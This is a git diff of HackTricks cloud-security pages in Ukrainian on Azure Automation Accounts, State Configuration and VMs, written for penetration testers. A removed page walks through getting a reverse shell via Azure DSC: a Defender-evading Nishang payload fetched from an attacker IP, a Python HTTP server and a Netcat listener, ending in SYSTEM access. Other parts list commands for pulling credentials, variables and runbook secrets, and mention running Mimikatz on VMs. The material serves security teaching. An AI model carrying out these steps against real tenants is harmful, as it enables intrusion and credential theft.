- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Резюме підготовки інфраструктури віддаленого сервера (C2) та кроки
#### Огляд
Процес передбачає налаштування інфраструктури віддаленого сервера для розміщення модифікованого вантажу Nishang `Invoke-PowerShellTcp.ps1`, названого `RevPS.ps1`, призначеного для обходу Windows Defender. Вантаж подається з машини Kali Linux з IP `40.84.7.74` за допомогою простого HTTP-сервера на Python. Операція виконується через кілька кроків:
#### Крок 1 — Створення файлів
- **Необхідні файли:** Потрібні два скрипти PowerShell:
1. `reverse_shell_config.ps1`: Файл Desired State Configuration (DSC), який отримує та виконує вантаж. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори сервера/вантажу.
#### Крок 2 — Стиснення файлу конфігурації
- Файл `reverse_shell_config.ps1` стискається в `.zip` файл, що робить його готовим для передачі до Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Крок 3 — Встановлення контексту зберігання та завантаження
- Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер зберігання Azure, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Крок 4 — Підготовка Kali Box
- Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу.
#### Крок 5 — Опублікувати файл конфігурації
- Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM.
#### Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача
- Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM.
#### Висновок
Успішне виконання цього процесу відкриває численні можливості для подальших дій, таких як витік облікових даних або розширення атаки на кілька ВМ. Посібник заохочує до подальшого навчання та креативності в сфері Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Automation Accounts
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
Azure Automation Accounts - це хмарні сервіси в Microsoft Azure, які допомагають **автоматизувати завдання** такі як управління ресурсами, конфігурація та оновлення в Azure та локальних середовищах. Вони надають **Runbooks** (скрипти для автоматизації, які виконуються), **графіки** та **групи гібридних працівників** для виконання автоматизаційних **завдань**, що дозволяє реалізувати інфраструктуру як код (IaC) та автоматизацію процесів для підвищення ефективності та узгодженості в управлінні хмарними ресурсами.
### Settings
- **Credentials**: Пароль доступний лише в runbook всередині облікового запису автоматизації, вони використовуються для **зберігання імен користувачів та паролів у безпечному вигляді**.
- **Variables**: Використовуються для зберігання **даних конфігурації**, які можуть бути використані в runbooks. Це також можуть бути чутливі дані, такі як API ключі. Якщо змінна **зберігається в зашифрованому вигляді**, вона доступна лише в runbook всередині облікового запису автоматизації.
- **Certificates**: Використовуються для зберігання **сертифікатів**, які можуть бути використані в runbooks.
- **Connections**: Використовуються для зберігання **інформації про з'єднання** з зовнішніми сервісами. Це може містити **чутливу інформацію**.
- **Network Access**: Може бути встановлено на **публічний** або **приватний**.
## Runbooks & Jobs
Runbook в Azure Automation - це **скрипт, який автоматично виконує завдання** у вашому хмарному середовищі. Runbooks можуть бути написані на PowerShell, Python або графічних редакторах. Вони допомагають автоматизувати адміністративні завдання, такі як управління ВМ, патчинг або перевірки відповідності.
У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як облікові дані).
Перейдіть до `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**Завдання** - це екземпляр виконання Runbook. Коли ви запускаєте Runbook, створюється завдання для відстеження цього виконання. Кожне завдання включає:
- **Status**: У черзі, Виконується, Завершено, Не вдалося, Призупинено.
- **Output**: Результат виконання Runbook.
- **Start and End Time**: Коли завдання почалося і завершилося.
Завдання містить **вихідні дані** виконання **Runbook**. Якщо ви можете **читати** **завдання**, зробіть це, оскільки вони **містять** **вихідні дані** виконання (можливу **чутливу інформацію**).
### Schedules & Webhooks
Існує 3 основні способи виконання Runbook:
- **Schedules**: Використовуються для **тригера** Runbooks у **вказаний час** або **інтервал**.
- **Webhooks**: Це **HTTP кінцеві точки**, які можуть бути використані для **тригера** Runbooks з **зовнішніх сервісів**. Зверніть увагу, що URL вебхука **не видимий** після створення.
- **Manual Trigger**: Ви можете **вручну запустити** Runbook з Azure Portal і з CLI.
### Source Control
Дозволяє імпортувати Runbooks з **Github, Azure Devops (Git) та Azure Devops (TFVC)**. Можна вказати, щоб опублікувати Runbooks з репозиторію в обліковий запис автоматизації Azure, а також можна вказати, щоб **синхронізувати зміни з репозиторію** в обліковий запис автоматизації Azure.
Коли синхронізація увімкнена, у **репозиторії Github створюється вебхук** для тригера синхронізації щоразу, коли відбувається подія push. Приклад URL вебхука: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Зверніть увагу, що ці вебхуки **не будуть видимі** при переліку вебхуків у пов'язаних runbooks до репозиторію Github. Також зверніть увагу, що **не можливо змінити URL репозиторію** джерела контролю після його створення.
Для того, щоб налаштований контроль джерела працював, **Azure Automation Account** повинен мати керовану ідентичність (системну або користувацьку) з роллю **`Contributor`**. Більше того, щоб призначити користувацьку керовану ідентичність обліковому запису автоматизації, це можна зробити, просто встановивши змінну **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** на **ID клієнта користувацької керованої ідентичності**.
### Runtime Environments
При створенні Runbook можна вибрати середовище виконання. За замовчуванням доступні такі середовища виконання:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
Однак також можливо **створити свої власні середовища**, використовуючи одне з цих як основу. У випадку з Python можливо завантажити `.whl` пакети в середовище, яке буде використовуватися. У випадку з PowerShell можливо завантажити `.zip` пакети з модулями, які потрібно мати в середовищі виконання.
### Hybrid Worker
Runbook може виконуватися в **контейнері всередині Azure** або в **Hybrid Worker** (не Azure машина).\
**Log Analytics Agent** розгортається на ВМ, щоб зареєструвати його як гібридного працівника.\
Завдання гібридного працівника виконуються як **SYSTEM** на Windows і **nxautomation** обліковий запис на Linux.\
Кожен гібридний працівник зареєстрований у **групі гібридних працівників**.
Отже, якщо ви можете вибрати виконання **Runbook** на **Windows Hybrid Worker**, ви будете виконувати **произвольні команди** на зовнішній машині як **System** (гарна техніка повороту).
### State Configuration (SC)
>[!WARNING]
> Як зазначено в [документації](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration буде знято з обслуговування 30 вересня 2027 року і замінено на [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Облікові записи автоматизації також підтримують **State Configuration (SC)**, що є функцією, яка допомагає **конфігурувати** та **підтримувати** **стан** ваших ВМ. Можна **створювати** та **застосовувати** конфігурації DSC до **Windows** та **Linux** машин.
З точки зору атакуючого це було цікаво, оскільки це дозволяло **виконувати произвольний PS код на всіх налаштованих ВМ**, що дозволяло підвищувати привілеї до керованих ідентичностей цих ВМ, потенційно переходячи до нових мереж... Також конфігурації могли містити **чутливу інформацію**.
## Enumeration
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Підвищення привілеїв та постексплуатація
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Посилання
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -19,13 +19,13 @@ az-azure-network.md
- **Зони доступності**: Зони доступності - це окремі групи дата-центрів у конкретному регіоні Azure, які фізично відокремлені, щоб мінімізувати ризик впливу кількох зон через локальні відключення або катастрофи.
- **Тип безпеки**:
- **Стандартна безпека**: Це тип безпеки за замовчуванням, який не вимагає жодного специфічного налаштування.
- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot та Virtual Trusted Platform Module (vTPM).
- **Конфіденційні ВМ**: На основі довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування дисків і [**більше**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot і віртуальний модуль безпечної платформи (vTPM).
- **Конфіденційні ВМ**: На додаток до довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування диска та [**більше**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Аутентифікація**: За замовчуванням генерується новий **SSH ключ**, хоча можливо використовувати публічний ключ або попередній ключ, а ім'я користувача за замовчуванням - **azureuser**. Також можливо налаштувати використання **пароля.**
- **Шифрування диска ВМ:** Диск за замовчуванням шифрується в спокої, використовуючи ключ, керований платформою.
- Також можливо увімкнути **Шифрування на хості**, де дані будуть зашифровані на хості перед відправкою до сервісу зберігання, забезпечуючи шифрування від кінця до кінця між хостом і сервісом зберігання ([**документація**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- Також можливо увімкнути **Шифрування на хості**, де дані шифруються на хості перед відправкою до служби зберігання, забезпечуючи шифрування від кінця до кінця між хостом і службою зберігання ([**документація**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Група безпеки мережі NIC**:
- **Немає**: В основному відкриває кожен порт
- **Немає**: В основному відкриває всі порти
- **Базова**: Дозволяє легко відкрити вхідні порти HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Розширена**: Виберіть групу безпеки
- **Резервне копіювання**: Можливо увімкнути **Стандартне** резервне копіювання (один раз на день) та **Розширене** (кілька разів на день)
@@ -37,20 +37,20 @@ az-azure-network.md
- Відсоток споживаних IOPS ОС перевищує 95%
- Загальна мережа перевищує 500 ГБ
- Загальний вихід мережі перевищує 200 ГБ
- VmAvailabilityMetric менше 1
- Показник доступності ВМ менше 1
- **Монітор здоров'я**: За замовчуванням перевіряє протокол HTTP на порту 80
- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок).
- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або щоб її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок).
- Більшість ресурсів, пов'язаних з ВМ, **також підтримують замки**, такі як диски, знімки...
- Замки також можуть бути застосовані на **рівнях групи ресурсів та підписки**
- Замки також можуть бути застосовані на **рівнях групи ресурсів і підписки**
## Диски та знімки
- Можливо **увімкнути приєднання диска до 2 або більше ВМ**
- За замовчуванням кожен диск **шифрується** за допомогою ключа платформи.
- Те ж саме стосується знімків
- За замовчуванням можливо **поділитися диском з усіма мережами**, але його також можна **обмежити** лише певним **приватним доступом** або **повністю відключити** публічний і приватний доступ.
- За замовчуванням можливо **поділитися диском з усіх мереж**, але його також можна **обмежити** лише певним **приватним доступом** або **повністю відключити** публічний і приватний доступ.
- Те ж саме стосується знімків
- Можливо **згенерувати SAS URI** (максимум на 60 днів) для **експорту диска**, який може бути налаштований на вимогу аутентифікації або ні
- Можливо **згенерувати SAS URI** (максимум на 60 днів) для **експорту диска**, який можна налаштувати на вимогу аутентифікації або ні
- Те ж саме стосується знімків
{{#tabs}}
@@ -150,7 +150,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
Azure Bastion забезпечує безпечний та безперешкодний **Remote Desktop Protocol (RDP)** та **Secure Shell (SSH)** доступ до ваших віртуальних машин (VM) безпосередньо через Azure Portal або через jump box. Завдяки **усуненню необхідності в публічних IP-адресах** на ваших VM.
Bastion розгортає підмережу під назвою **`AzureBastionSubnet`** з маскою підмережі `/26` у VNet, в якому потрібно працювати. Потім він дозволяє **підключатися до внутрішніх VM через браузер** за допомогою `RDP` та `SSH`, уникаючи відкриття портів VM в Інтернеті. Він також може працювати як **jump host**.
Bastion розгортає підмережу під назвою **`AzureBastionSubnet`** з маскою підмережі `/26` у VNet, в якому потрібно працювати. Потім він дозволяє **підключатися до внутрішніх VM через браузер** за допомогою `RDP` та `SSH`, уникаючи відкриття портів VM в Інтернет. Він також може працювати як **jump host**.
Щоб перерахувати всі Azure Bastion Hosts у вашій підписці та підключитися до VM через них, ви можете використовувати наступні команди:
@@ -187,9 +187,9 @@ Get-AzBastion
{{#endtab}}
{{#endtabs}}
## Метадані
## Metadata
Служба метаданих екземпляра Azure (IMDS) **надає інформацію про запущені екземпляри віртуальних машин** для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через **REST API, доступний за нерозподіленою IP-адресою 169.254.169.254**, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належного зв'язку.
Служба метаданих екземпляра Azure (IMDS) **надає інформацію про запущені екземпляри віртуальних машин** для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через **REST API, доступний за не маршрутизованою IP-адресою 169.254.169.254**, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належного зв'язку.
Крім того, для зв'язку з кінцевою точкою метаданих HTTP-запит повинен містити заголовок **`Metadata: true`** і не повинен містити заголовок **`X-Forwarded-For`**.
@@ -199,7 +199,7 @@ Get-AzBastion
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
{{#endref}}
## Перерахування ВМ
## VM Enumeration
```bash
# VMs
## List all VMs and get info about one
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
Це **розширення VM**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows VMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення:
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для **виконання довільних команд** у Windows ВMs через це розширення:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -601,15 +601,15 @@ Set-AzVMDscExtension `
<details>
<summary>Гібридний Runbook Worker</summary>
<summary>Гібридний робочий процес</summary>
Це розширення VM, яке дозволяє виконувати runbook у VMs з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Automation Accounts](../az-automation-account/).
Це розширення VM, яке дозволяє виконувати робочі процеси у VM з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-automation-account/index.html).
</details>
### Застосунки VM
Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у VMs.
Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у VM.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -625,9 +625,9 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
Перевірте, як встановити нові програми в [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Можливо **ділитися окремими додатками та галереями з іншими підписками або орендарями**. Що дуже цікаво, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
> Можливо **ділитися окремими додатками та галереями з іншими підписками або орендарями**. Що є дуже цікавим, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
Але **немає "ринку" для vm додатків**, як це є для розширень.
Але **немає "маркетплейсу" для vm додатків**, як це є для розширень.
Необхідні дозволи:
@@ -725,9 +725,9 @@ az vm application set \
### Користувацькі дані
Можна передати деякі дані до VM, які будуть зберігатися в очікуваних шляхах:
Можливо передати деякі дані до VM, які будуть зберігатися в очікуваних шляхах:
- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл і не обробляються.
- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл, і вони не обробляються.
- У **Linux** вони зберігалися в `/var/lib/waagent/ovf-env.xml`, а тепер зберігаються в `/var/lib/waagent/CustomData/ovf-env.xml`
- **Агент Linux**: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними
- **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**декількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних.
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Запустити команду**
Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволи - `Microsoft.Compute/virtualMachines/runCommand/action`.
Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволення - `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}
@@ -796,13 +796,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
{{#endref}}
## Після Експлуатації
## Постексплуатація
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}
## Постійність
## Персистентність
{{#ref}}
../../az-persistence/az-vms-persistence.md